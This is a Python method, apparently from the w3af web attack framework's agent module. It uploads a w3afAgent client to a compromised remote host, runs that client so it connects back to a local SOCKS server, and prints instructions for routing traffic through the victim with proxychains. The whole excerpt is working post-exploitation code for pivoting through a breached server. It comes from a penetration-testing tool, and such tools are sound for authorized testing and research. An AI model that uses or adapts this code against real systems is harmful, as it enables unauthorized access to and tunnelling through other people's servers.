'Entry point for the whole process.'

def run(self):

    try:
        (interpreter, client_code, extension) = self._select_client()
    except BaseFrameworkException:
        om.out.error('Failed    to    find    a    suitable    w3afAgentClient    for    the    remote    server.')
    else:
        inbound_port = self._get_inbound_port()
        agent_server = w3afAgentServer(self._ip_address, socks_port=self._socks_port, listen_port=inbound_port)
        self._agent_server = agent_server
        agent_server.start()
        time.sleep(0.5)
        if (not agent_server.is_running()):
            om.out.error(agent_server.get_error())
        else:
            ptf = payload_transfer_factory(self._exec_method)
            transferHandler = ptf.get_transfer_handler(inbound_port)
            if (not transferHandler.can_transfer()):
                raise BaseFrameworkException("Can't    transfer    w3afAgent    client    to    remote    host,    can_transfer()    returned    False.")
            else:
                estimatedTime = transferHandler.estimate_transfer_time(len(client_code))
                om.out.debug((('The    w3afAgent    client    transfer    will    take    "' + str(estimatedTime)) + '"    seconds.'))
                filename = get_remote_temp_file(self._exec_method)
                filename += ('.' + extension)
                om.out.console(('Starting    w3afAgent    client    upload,    remote    filename    is:    "%s"    ...' % filename))
                upload_success = transferHandler.transfer(client_code, filename)
                if (not upload_success):
                    raise BaseFrameworkException('The    w3afAgent    client    failed    to    upload.    Remote    file    hash    does    NOT    match.')
                om.out.console('Finished    w3afAgent    client    upload!')
                self._delayedExecution(((((((interpreter + '    ') + filename) + '    ') + self._ip_address) + '    ') + str(inbound_port)))
                if (not agent_server.is_working()):
                    om.out.console('Something    went    wrong,    the    w3afAgent    client    failed    to    connect    back.')
                else:
                    msg = ('A    SOCKS    proxy    is    listening    on    %s:%s' % (self._ip_address, self._socks_port))
                    msg += '    ,    all    connections    made    through    this    daemon    will    be    routed    '
                    msg += '    through    the    compromised    server.    We    recommend    using    the    proxychains    tool    '
                    msg += '    ("apt-get    install    proxychains")    to    route    connections    through    the    proxy,    the    '
                    msg += ('    proxy    configuration    should    look    like    "socks4                %s                    %s"' % (self._ip_address, self._socks_port))
                    om.out.console(msg)
